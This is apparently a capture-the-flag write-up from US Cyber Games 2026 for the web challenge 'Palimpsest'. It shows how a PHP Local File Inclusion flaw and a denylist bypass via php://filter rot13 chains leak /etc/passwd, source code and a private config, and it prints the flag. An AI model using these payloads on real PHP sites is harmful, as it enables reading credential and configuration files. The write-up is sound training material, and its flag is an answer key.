arrow_backUS Cyber Games 2026
Webhard

Palimpsest

by Pavel Knespl (capyplivl)

A PHP "codex" reader (view.php?doc=<slug>) passes any input starting with / or matching scheme:// straight into @include(). A denylist WAF blocks the obvious tokens but allows php://filter, so source and a secret vault path can be read via filter chains. This is Local File Inclusion.

Solve

  1. Confirm arbitrary file read with an absolute path:
    /view.php?doc=/etc/passwd
    
  2. @include() executes PHP, so config.php returns nothing directly. The WAF blocks base64/b64 but allows php://filter, so use string.rot13 to leak source instead:
    /view.php?doc=php://filter/read=string.rot13/resource=/var/www/html/view.php
    
    Decoding the rot13 body reveals the WAF denylist and require_once '/var/www/private/config.php';.
  3. Leak the private config the same way:
    curl -s -G 'https://HOST/view.php' \
         --data-urlencode 'doc=php://filter/read=string.rot13/resource=/var/www/private/config.php' \
      | rot13
    
    This discloses the randomised vault path:
    define('VAULT_FILE', '/opt/codex/x7k9m2p4q8r1n5w3.dat');
    
  4. The vault path contains no blocked token, so read it directly. A .dat with no PHP tags is echoed verbatim:
    curl -s -G 'https://HOST/view.php' \
         --data-urlencode 'doc=/opt/codex/x7k9m2p4q8r1n5w3.dat'
    
    The response body renders the flag.

Flag: SVIUSCG{l4y3r3d_d1scl0sur3_thr0ugh_php_f1lt3r_ch41ns_1s_th3_w4y}